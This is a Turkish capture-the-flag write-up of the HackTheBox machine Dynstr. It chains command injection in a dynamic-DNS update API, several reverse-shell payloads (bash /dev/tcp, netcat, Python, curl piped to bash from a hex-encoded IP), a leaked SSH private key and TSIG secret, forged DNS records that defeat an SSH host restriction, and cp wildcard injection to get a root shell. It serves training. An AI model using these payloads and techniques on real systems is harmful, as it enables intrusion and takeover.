HTB HTB Machine: Dynstr

Navigation

Computer Science

Mathematics

Security

PicoCTF

HackTheBox

TryHackMe

Geometry

Cheatsheet

Sosyal Medya

Güncel Makaleler

Yükleniyor...
Erciyes Uni.
Bilgisayar Muh.
CBFRPRO CBTEAMER CNPEN eMAPT

HackTheBox

HTB Machine: Dynstr

December 31, 2025

HTB Machine: Dynstr

Önsöz

Bu yazı, HackTheBox platformundaki Dynstr makinesini çözerken yaşadığım tüm süreci, deneme-yanılmaları, başarısız girişimleri ve sonunda bulduğum çözümleri detaylı şekilde anlatıyor. Amacım sadece “şunu yap, bunu yap” demek değil; gerçek bir penetrasyon testinde karşılaşabileceğiniz engelleri ve bunları nasıl aştığımı göstermek.

Bu makine beni saatlerce uğraştırdı. Özellikle reverse shell alma aşamasında karşılaştığım karakter limiti ve IP adresi filtreleme sorunları, DNS tabanlı SSH erişim kısıtlamasını bypass etme süreci gerçekten zorlu ama bir o kadar da öğretici oldu.


Bölüm 1: Keşif ve Bilgi Toplama

1.1 İlk Port Taraması

Her zaman olduğu gibi, işe nmap taraması ile başladım. Önce hızlı bir tarama yapıp açık portları tespit ettim, sonra bu portlara detaylı servis taraması yaptım:

nmap -sC -sV -p- 10.129.19.72

Tarama sonuçları:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open  http    Apache/2.4.41 (Ubuntu)

Üç port açık: SSH, DNS ve HTTP. DNS servisi hemen dikkatimi çekti çünkü bir CTF makinesinde DNS servisi genellikle önemli bir rol oynar. Zone transfer, DNS rebinding veya dynamic DNS zafiyetleri olabilir.

1.2 Web Uygulaması Keşfi

Tarayıcıda http://10.129.19.72 adresine gittiğimde “Dyna DNS” adında bir Dynamic DNS servisi ile karşılaştım. Sayfa tasarımı profesyonel görünüyordu ve birkaç önemli bilgi içeriyordu.

Sayfada gördüklerim:

“Quality Dynamic DNS” Bölümü:

“We are providing dynamic DNS for anyone with the same API as no-ip.com has. Maintaining API conformance helps make clients work properly.”

Bu çok önemli bir bilgiydi. No-IP API’si kullanıyorlar demek, /nic/update endpoint’i var demek. Bu API’yi daha önce başka projelerde kullanmıştım, yapısını biliyordum.

“Awesome Domains” Bölümü: Desteklenen domainler listelenmişti:

  • dnsalias.htb
  • dynamicdns.htb
  • no-ip.htb

“Beta” Bölümü:

“We are still running in beta mode. Please use following shared credentials:”

  • Username: dynadns
  • Password: sndanyd

Beta kimlik bilgileri açıkça paylaşılmıştı! Bu bilgiler muhtemelen API erişimi için kullanılacaktı.

1.3 /etc/hosts Dosyası Güncellemesi

DNS tabanlı bir makine olduğu için, domain’leri /etc/hosts dosyasına ekledim:

echo "10.129.19.72 dyna.htb dnsalias.htb dynamicdns.htb no-ip.htb" | sudo tee -a /etc/hosts

1.4 Dizin ve Dosya Taraması

Gobuster ile gizli dizinler aradım:

gobuster dir -u http://10.129.19.72 -w /usr/share/wordlists/dirb/common.txt

/nic dizini bulundu - bu No-IP API’sinin standart endpoint’i.


Bölüm 2: API Analizi ve Zafiyet Keşfi

2.1 No-IP API Yapısı

No-IP API’sini biliyordum. Standart kullanımı şöyle:

http://username:password@host/nic/update?hostname=HOSTNAME&myip=IP_ADDRESS

Bu bilgiyle ilk test isteğimi gönderdim:

curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=test&myip=10.10.15.248"

Yanıt: 911 [wrngdom: ]

“wrngdom” muhtemelen “wrong domain” anlamına geliyordu. Hostname parametresi belirli bir formatta olmalıydı.

2.2 Doğru Domain Formatını Bulma

Sayfada listelenen domain’lerden birini denedim:

curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=test.dynadns.htb&myip=10.10.15.248"

Yanıt: 911 [wrngdom: dynadns.htb]

Hala hata alıyordum. Hmm, dynadns.htb değil dynamicdns.htb olmalı galiba. Web sayfasına tekrar baktım ve doğru domain’lerin şunlar olduğunu gördüm:

  • dnsalias.htb
  • dynamicdns.htb
  • no-ip.htb

dynadns.htb listede yoktu! Doğru domain ile tekrar denedim:

curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=test.no-ip.htb&myip=10.10.15.248"

Yanıt: good 10.10.15.248

Mükemmel! API çalışıyordu ve DNS kaydı oluşturulmuştu.

2.3 Command Injection Hipotezi

Dynamic DNS servisleri genellikle arka planda nsupdate veya benzeri araçları shell üzerinden çağırır. Eğer kullanıcı girdileri düzgün sanitize edilmiyorsa, command injection mümkün olabilir.

Hostname parametresine shell metakarakterları enjekte etmeyi denedim. Amacım, sunucunun girdimi bir shell komutunun parçası olarak çalıştırıp çalıştırmadığını test etmekti.

2.4 Time-Based Command Injection Testi

En güvenilir test yöntemi time-based injection. sleep komutu kullanarak, yanıt süresinden injection’ın çalışıp çalışmadığını anlayabilirim:

time curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=\`sleep%205\`.no-ip.htb&myip=10.10.15.248"

İlk Hata: Komutu çalıştırdığımda bash backtick’leri yorumladı ve URL bozuldu:

bash: http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=sleep: No such file or directory

Sorun şuydu: Çift tırnak içinde backtick’ler bash tarafından command substitution olarak yorumlanıyordu.

Çözüm Denemesi 1: Backtick’leri escape ettim:

time curl "http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=\`sleep%205\`.no-ip.htb&myip=10.10.15.248"

Yanıt: 911 [wrngdom: no-ip.htb]

Hmm, çalışmadı. Sleep komutu çalışmıyor gibi görünüyordu (yanıt anında geldi).

Çözüm Denemesi 2: Tek tırnak kullandım (bash interpolation’ı engellemek için):

time curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`sleep%205`.no-ip.htb&myip=10.10.15.248'

Yanıt: 911 [wrngdom: sleep 5.no-ip.htb]`

İlginç! Sunucu backtick’leri ve içeriği gördü. Ama yine de sleep çalışmadı çünkü URL encoding sorunları vardı.

Çözüm Denemesi 3: Backtick’leri de URL encode ettim (%60):

time curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60sleep%205%60.no-ip.htb&myip=10.10.15.248'

Yanıt süresi: real 0m0.025s

Hala çalışmıyordu. Sanırım no-ip.htb domain’i sorunluydu.

Çözüm Denemesi 4: Farklı domain’leri denedim:

time curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60sleep%205%60.dnsalias.htb&myip=10.10.15.248'

Yanıt: 911 [nsupdate failed] Süre: real 0m10.028s

EUREKA! 10 saniye sürdü! Bu, sleep 5 komutunun İKİ KEZ çalıştığı anlamına geliyordu (muhtemelen hem A kaydı hem de başka bir işlem için). Command injection zafiyeti doğrulandı!

Command Injection Flow Diagram
Backtick'lerin shell tarafından yorumlanması sonucu oluşan command injection. Kullanıcı girdisi doğrudan komut satırına gidiyor!

Bölüm 3: Reverse Shell Alma - Uzun ve Zorlu Bir Yolculuk

Bu bölüm, makinenin en zorlu kısmıydı. Saatlerce farklı payload’lar denedim, onlarca hata aldım ve sonunda çalışan bir çözüm buldum.

3.1 İlk Reverse Shell Denemesi

Standart bash reverse shell payload’ı ile başladım:

bash -i >& /dev/tcp/10.10.15.248/9001 0>&1

Bunu URL encode edip gönderdim:

curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.15.248%2F9001%200%3E%261%27%60.no-ip.htb&myip=10.10.15.248'

Listener:

nc -lvnp 9001

Sonuç: Bağlantı gelmedi. Sunucudan gelen yanıt:

911 [wrngdom: 10.15.248/9001 0>&1'`.no-ip.htb]

3.2 Problem Analizi

Yanıta dikkatli baktığımda birkaç sorun fark ettim:

  1. Payload kesiliyor: Tüm payload görünmüyordu
  2. IP adresi bozuk: 10.10.15.248 yerine 10.15.248 yazıyordu - ortadaki .10 kaybolmuştu!

Bu, hostname parametresinde bir karakter limiti veya filtreleme olduğunu gösteriyordu.

3.3 Netcat Reverse Shell Denemesi

Daha kısa bir payload denedim:

curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60nc%2010.10.15.248%209001%20-e%20/bin/bash%60.no-ip.htb&myip=10.10.15.248'

Yanıt:

911 [wrngdom: 10.15.248 9001 -e /bin/bash`.no-ip.htb]

Yine aynı sorun! IP’nin ortasındaki .10 kayboluyordu.

3.4 IP Adresi Encoding Denemeleri

IP adresini farklı formatlarda encode etmeyi denedim:

Decimal Format: IP adresini decimal sayıya çevirdim:

  • 10.10.15.248 = (10 × 256³) + (10 × 256²) + (15 × 256) + 248 = 168432632
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60nc%20168432632%209001%20-e%20sh%60.no-ip.htb&myip=10.10.15.248'

Yanıt: Hata verdi, decimal IP çalışmadı.

Hexadecimal Format:

  • 10 = 0x0a
  • 10 = 0x0a
  • 15 = 0x0f
  • 248 = 0xf8
  • Toplam: 0x0a0a0ff8
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60nc%200x0a0a0ff8%209001%20-e%20sh%60.no-ip.htb&myip=10.10.15.248'

Bu da doğrudan çalışmadı.

IP Encoding Bypass Diagram
IP adresi filtreleniyor mu? Hex formatına çevir, sorun çözülsün. 10.10.15.248 → 0x0a0a0ff8

3.5 Strateji Değişikliği: Payload İndirme

Doğrudan shell komutu göndermek yerine, dışarıdan bir script indirip çalıştırmayı denemeye karar verdim.

Reverse Shell Payload Flow Diagram
Klasik yöntem: HTTP sunucusundan payload çek, pipe'la bash'e ver, shell'i al.

Adım 1: Kendi makinemde reverse shell script’i oluşturdum:

echo 'bash -i >& /dev/tcp/10.10.15.248/4321 0>&1' > /tmp/s

Adım 2: Python HTTP server başlattım:

python3 -m http.server 8000 --directory /tmp

Adım 3: Netcat listener açtım (farklı terminalde):

nc -lvnp 4321

Adım 4: Hedef sisteme curl ile script’i indirip çalıştıran komutu gönderdim:

curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=%60curl%2010.10.15.248:8000/s%7Cbash%60.no-ip.htb&myip=10.10.15.248'

HTTP server logları:

Serving HTTP on 0.0.0.0 port 8000...

İstek gelmedi! IP adresi hala sorunluydu.

3.6 Hex IP ile Tekrar Deneme

Bu sefer hex formatında IP kullandım:

curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200x0a0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'

Fark ettim ki tek tırnak kullanmam gerekiyor:

curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200x0a0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'

HTTP server logları:

10.129.19.72 - - [31/Dec/2025 11:49:03] "GET /s HTTP/1.1" 200 -

İSTEK GELDİ! Hedef sistem script’i indirdi!

3.7 Shell Neden Gelmiyor?

Script indirildi ama shell gelmedi. Sorun ne olabilir?

  1. Script’in içeriğini kontrol ettim:
    cat /tmp/s
    

    Çıktı: bash -i >& /dev/tcp/10.10.15.248/4321 0>&1

İçerik doğruydu.

  1. Belki sh yerine bash kullanmalıydım:
curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200x0a0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'

HTTP loglarında istek görünüyordu ama shell hala gelmiyordu.

  1. Pipe karakterini de encode etmeyi denedim (%7C):

Zaten %7C kullanıyordum, bu doğruydu.

3.8 Farklı Reverse Shell Payload’ları

Script içeriğini değiştirdim:

Python reverse shell:

echo 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.248",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'\''' > /tmp/s

Netcat mkfifo:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.248 4321 >/tmp/f' > /tmp/s

Her birini denedim.

3.9 Nihayet Shell!

Temiz bir başlangıç yapmaya karar verdim:

Terminal 1 - Listener:

nc -lvnp 4321

Terminal 2 - HTTP Server:

echo 'bash -i >& /dev/tcp/10.10.15.248/4321 0>&1' > /tmp/s
python3 -m http.server 8000 --directory /tmp

Terminal 3 - Exploit:

curl 'http://dynadns:sndanyd@10.129.19.72/nic/update?hostname=`curl%200xa0a0ff8:8000/s%7Cbash`.no-ip.htb&myip=10.10.15.248'

Ve sonunda:

listening on [any] 4321 ...
connect to [10.10.15.248] from (UNKNOWN) [10.129.19.72] 52300
bash: cannot set terminal process group (816): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$

SHELL GELDİ! Saatler süren uğraştan sonra nihayet www-data olarak sisteme girdim!


Bölüm 4: Sistem Keşfi ve Lateral Movement

4.1 Temel Sistem Bilgisi

whoami
# www-data

id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

uname -a
# Linux dynstr 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

4.2 Kullanıcıları Keşfetme

ls /home/
# bindmgr  dyna

cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# dyna:x:1000:1000:dyna,,,:/home/dyna:/bin/bash
# bindmgr:x:1001:1001::/home/bindmgr:/bin/bash

İki normal kullanıcı var: dyna ve bindmgr.

4.3 bindmgr Kullanıcısını İnceleme

ls -la /home/bindmgr/

Çıktı:

drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15  2021 .
drwxr-xr-x 4 root    root    4096 Mar 15  2021 ..
lrwxrwxrwx 1 bindmgr bindmgr    9 Mar 15  2021 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25  2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13  2021 .cache
-rw-r--r-- 1 bindmgr bindmgr  807 Feb 25  2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13  2021 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13  2021 support-case-C62796521
-r-------- 1 bindmgr bindmgr   33 Dec 31 10:59 user.txt

support-case-C62796521 dizini ilginç görünüyordu. Destek vakası dosyaları genellikle debug bilgileri içerir.

4.4 Support Case Dosyalarını İnceleme

ls -la /home/bindmgr/support-case-C62796521/

Çıktı:

-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13  2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13  2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13  2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13  2021 strace-C62796521.txt

strace çıktısı var! strace, sistem çağrılarını kaydeder ve bazen hassas bilgiler içerebilir.

4.5 SSH Private Key Bulma

strace dosyasında SSH key aradım:

grep -r "PRIVATE KEY" /home/bindmgr/support-case-C62796521/

JACKPOT! strace çıktısında tam bir OpenSSH private key vardı:

/home/bindmgr/support-case-C62796521/strace-C62796521.txt:15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn...

Key, bir read() sistem çağrısının içinde görünüyordu. Muhtemelen birisi SSH key’ini okurken strace çalışıyormuş.

4.6 SSH Key’i Kaydetme

Key’i bir dosyaya kaydettim:

echo '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1
42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3
HjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F
L6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn
UOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX
CUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz
uSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a
XQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P
ZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk
+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs
4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq
xTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD
PswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k
obFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l
u291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
Tyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE
BNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv
C79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX
Wv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt
U96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ
b6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----' > /tmp/bindmgr_key

chmod 600 /tmp/bindmgr_key

4.7 SSH Bağlantı Denemesi

ssh -i /tmp/bindmgr_key bindmgr@127.0.0.1

Hata:

Permission denied, please try again.

Neden çalışmıyor? authorized_keys dosyasını inceledim:

cat /home/bindmgr/.ssh/authorized_keys

Çıktı:

from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EA... bindmgr@nomen

from="*.infra.dyna.htb" kısıtlaması! SSH bağlantısı sadece *.infra.dyna.htb pattern’ine uyan hostname’lerden kabul ediliyordu. Reverse DNS lookup yapıldığında, bağlanan IP’nin hostname’i bu pattern’e uymalıydı.


Bölüm 5: DNS Manipulation ile SSH Bypass

5.1 Problemi Anlama

SSH sunucusu, bağlanan IP’nin reverse DNS kaydına bakıyor ve *.infra.dyna.htb ile eşleşmezse bağlantıyı reddediyor.

Çözüm: DNS sunucusuna kendi IP’miz için uygun bir PTR kaydı eklemeliyiz.

SSH DNS Bypass Diagram
SSH "nereden bağlanıyorsun?" diye soruyor. DNS'e "şuradan" diye kayıt ekliyoruz. Boom, giriş serbest.

5.2 BIND Konfigürasyonunu İnceleme

cat /etc/bind/named.conf.local
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };

infra-key ile dyna.htb ve 10.in-addr.arpa zone’larını güncelleyebiliyoruz!

5.3 infra.key İçeriği

cat /etc/bind/infra.key
key "infra-key" {
    algorithm hmac-sha256;
    secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};

5.4 DNS Kayıtlarını Ekleme

A kaydı ekleme (forward DNS):

nsupdate -k /etc/bind/infra.key << EOF
server 127.0.0.1
zone dyna.htb
update add attacker.infra.dyna.htb 86400 A 10.10.15.248
send
EOF

PTR kaydı ekleme (reverse DNS):

nsupdate -k /etc/bind/infra.key << EOF
server 127.0.0.1
zone 10.in-addr.arpa
update add 248.15.10.10.in-addr.arpa 86400 PTR attacker.infra.dyna.htb.
send
EOF

Not: PTR kaydında IP adresi ters sırada yazılır (248.15.10.10) ve sonunda nokta olmalı.

5.5 DNS Kayıtlarını Doğrulama

nslookup attacker.infra.dyna.htb 127.0.0.1
Server:		127.0.0.1
Address:	127.0.0.1#53

Name:	attacker.infra.dyna.htb
Address: 10.10.15.248

5.6 SSH ile bindmgr Olarak Bağlanma

Kendi makinemden (HackTheBox VPN üzerinden):

# Key'i kaydet
echo '-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----' > /tmp/bindmgr.key

chmod 600 /tmp/bindmgr.key

# SSH bağlantısı
ssh -i /tmp/bindmgr.key bindmgr@10.129.19.72
bindmgr@dynstr:~$

bindmgr olarak giriş başarılı!

5.7 User Flag

cat /home/bindmgr/user.txt

User flag alındı!


Bölüm 6: Privilege Escalation - Root’a Giden Yol

6.1 Sudo Yetkilerini Kontrol Etme

sudo -l

Çıktı:

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

bindmgr kullanıcısı /usr/local/bin/bindmgr.sh script’ini sudo ile şifresiz çalıştırabiliyor!

6.2 Script Analizi

cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ `cat .version 2>/dev/null` -le `cat $BINDMGR_DIR/.version 2>/dev/null` ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else 
    echo "[+] Configuration successfully staged."
fi

6.3 Zafiyet Analizi

Script’te kritik bir satır var:

cp .version * /etc/bind/named.bindmgr/

Bu satırda Wildcard Injection zafiyeti var!

Wildcard Injection Diagram
Dosya adı "--preserve=mode" olunca, cp komutu bunu parametre sanıyor. Klasik wildcard trick.

* karakteri shell tarafından expand edilirken, dosya adları komut parametresi olarak yorumlanabilir. Örneğin, --preserve=mode adında bir dosya oluşturursak, cp komutu bunu bir parametre olarak algılar.

6.4 Exploit Stratejisi

  1. .version dosyası oluştur (script bunu kontrol ediyor)
  2. /bin/bash‘i çalışma dizinine kopyala
  3. --preserve=mode adında boş bir dosya oluştur
  4. bash’a SUID bit ekle (chmod 4755)
  5. Script’i sudo ile çalıştır
  6. cp komutu --preserve=mode parametresini algılayacak ve dosya izinlerini koruyacak
  7. SUID bash /etc/bind/named.bindmgr/ dizinine kopyalanacak

6.5 Exploit Uygulama

cd /tmp
mkdir exploit
cd exploit

# .version dosyası (script için gerekli, mevcut versiyondan büyük olmalı)
echo "1" > .version

# bash'ı kopyala
cp /bin/bash .

# --preserve=mode trick için dosya oluştur
echo "" > "--preserve=mode"

# SUID bit ekle
chmod 4755 bash

# Dosyaları kontrol et
ls -la

Çıktı:

-rw-rw-r-- 1 bindmgr bindmgr       1 Dec 31 12:00 --preserve=mode
-rwsr-xr-x 1 bindmgr bindmgr 1183448 Dec 31 12:00 bash
-rw-rw-r-- 1 bindmgr bindmgr       2 Dec 31 12:00 .version

bash’ın SUID bit’i var (rwsr-xr-x).

6.6 Script’i Çalıştırma

sudo /usr/local/bin/bindmgr.sh

Çıktı:

[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/exploit.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.bindmgr/bash:1: unknown option 'ELF...'

Script hata verdi çünkü bash binary’si geçerli bir BIND config dosyası değil. AMA önemli olan dosyaların zaten kopyalanmış olması!

6.7 Kopyalanan Dosyaları Kontrol Etme

ls -la /etc/bind/named.bindmgr/

Çıktı:

-rw-rw-r-- 1 root root       1 Dec 31 12:00 --preserve=mode
-rwsr-xr-x 1 root root 1183448 Dec 31 12:00 bash
-rw-rw-r-- 1 root root       2 Dec 31 12:00 .version

SUID bit korunmuş! Ve dosya sahibi artık root!

6.8 Root Shell

/etc/bind/named.bindmgr/bash -p

-p parametresi, bash’ın effective UID’yi düşürmemesini sağlar (SUID için gerekli).

bash-5.0# whoami
root

bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) groups=1001(bindmgr)

ROOT OLDUK!

6.9 Root Flag

cat /root/root.txt

Root flag alındı!


Bölüm 7: Özet ve Çıkarımlar

7.1 Saldırı Zinciri

Dynstr Attack Chain Diagram
Keşiften root'a giden yol. Her adım bir sonrakine kapı açıyor.

7.2 Öğrenilen Dersler

1. Input Validation Kritik Öneme Sahip Dynamic DNS API’si kullanıcı girdilerini doğrudan shell komutuna geçiriyordu. Parameterized queries veya strict input validation kullanılmalıydı.

2. Debug Dosyaları Temizlenmeli strace çıktısında SSH private key vardı. Production sistemlerde debug dosyaları bırakılmamalı.

3. DNS Tabanlı Güvenlik Manipüle Edilebilir from= SSH kısıtlaması DNS’e bağımlıydı. DNS sunucusu manipüle edilebildiği için bu koruma bypass edildi.

4. Wildcard’lar Tehlikelidir Shell script’lerinde * kullanımı dikkatli yapılmalı. -- ile parametre sonlandırma veya değişken quoting kullanılmalı.

5. Encoding Teknikleri Filtreleri Bypass Edebilir IP adresi filtreleri, hex veya decimal encoding ile atlatılabilir.


Son Söz

Dynstr, DNS servisleri ve web güvenliği konusunda kapsamlı bir eğitim niteliğindeydi. Her aşamada farklı teknikler ve problem çözme yaklaşımları gerekti.

Özellikle reverse shell alma aşamasındaki karakter limiti ve IP filtreleme sorunları, gerçek dünya senaryolarında da karşılaşılabilecek engellerdi. Bu tür durumlarda alternatif encoding yöntemlerini denemek ve payload’ları optimize etmek önemli.

DNS manipulation ile SSH bypass tekniği de oldukça ilginçti. Güvenlik kontrollerinin birbirine bağımlı olduğu durumlarda, bir zincirin halkasını kırmak tüm sistemi etkileyebilir.

Son olarak, wildcard injection gibi klasik ama hala yaygın olan zafiyetler, basit görünen script’lerin bile ciddi güvenlik açıkları içerebileceğini gösteriyor.

Her CTF makinesi yeni bir şeyler öğretiyor. Dynstr da DNS, web güvenliği ve Linux privilege escalation konularında değerli dersler verdi.


Makine Bilgileri:

  • Platform: HackTheBox
  • İsim: Dynstr
  • Zorluk: Medium
  • İşletim Sistemi: Linux (Ubuntu)
  • Çözüm Tarihi: 31 Aralık 2025

Happy Hacking!

Paylaş

Yorumlar

🔔
Yeni yazılardan haberdar ol! Bildirim al, hiçbir yazıyı kaçırma.